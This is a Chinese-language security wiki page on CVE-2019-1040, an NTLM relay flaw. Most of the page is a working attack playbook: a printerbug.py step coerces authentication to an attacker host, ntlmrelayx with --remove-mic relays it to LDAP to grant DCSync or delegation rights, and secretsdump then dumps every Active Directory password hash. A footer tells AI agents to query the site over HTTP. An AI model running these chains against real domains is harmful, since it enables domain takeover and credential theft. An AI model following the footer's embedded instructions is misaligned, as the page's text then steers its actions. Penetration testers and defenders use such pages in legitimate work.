# CVE-2019-1040

```
Drop the MIC
CVE-2019-1040 漏洞使得修改 NTLM 身份验证数据包而不会使身份验证失效成为可能，从而使攻击者能够删除阻止从 SMB 中继到 LDAP 的标志
https://github.com/fox-it/cve-2019-1040-scanner
使用上面的脚本检查漏洞
>python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
使用任何 AD 帐户，通过 SMB 连接到受害者 Exchange 服务器，并触发 SpoolService 错误。攻击者服务器将通过 SMB 连接回您，可以使用修改后的 ntlmrelayx 版本将其中继到 LDAP。使用中继的 LDAP 身份验证，将 DCSync 权限授予攻击者帐户。攻击者帐户现在可以使用 DCSync 转储 AD 中的所有密码哈希
TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
使用任何 AD 帐户，通过 SMB 连接到受害者服务器，并触发 SpoolService 错误。攻击者服务器将通过 SMB 连接回您，可以使用修改后的 ntlmrelayx 版本将其中继到 LDAP。使用中继的 LDAP 身份验证，将受害者服务器的基于资源的约束委派权限授予攻击者控制的计算机帐户。攻击者现在可以作为受害者服务器上的任何用户进行身份验证。
创建一个新的机器帐户
TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support 
TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6
TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME
使用票据连接
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/ntlm-zhong-ji-he-zhong-jian-ren-gong-ji/cve-2019-1040.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
